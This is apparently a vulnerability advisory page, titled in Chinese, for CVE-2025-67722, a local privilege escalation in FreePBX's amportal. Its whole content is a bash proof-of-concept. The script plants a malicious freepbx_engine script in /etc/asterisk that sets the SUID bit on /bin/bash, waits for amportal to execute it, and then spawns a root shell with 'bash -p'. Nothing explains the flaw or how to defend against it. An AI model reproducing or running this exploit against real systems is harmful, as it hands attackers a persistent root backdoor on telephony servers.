CVE-2025-67722 FreePBX amportal本地权限提升漏洞

#!/bin/bash # CVE-2025-67722 PoC - FreePBX amportal Local Privilege Escalation # Requirements: User must be a member of the 'asterisk' group # Step 1: Verify user is in asterisk group id | grep -q asterisk || { echo "[-] User not in asterisk group"; exit 1; } # Step 2: Create malicious freepbx_engine script in /etc/asterisk/ cat > /etc/asterisk/freepbx_engine << 'EOF' #!/bin/bash # Malicious payload - adds SUID backdoor chmod u+s /bin/bash EOF chmod +x /etc/asterisk/freepbx_engine # Step 3: Wait for amportal execution (triggered by system service) # Or trigger manually if permitted # /usr/local/sbin/amportal echo "[+] Payload planted in /etc/asterisk/freepbx_engine" echo "[+] Waiting for amportal execution..." echo "[+] After exploitation, run: /bin/bash -p"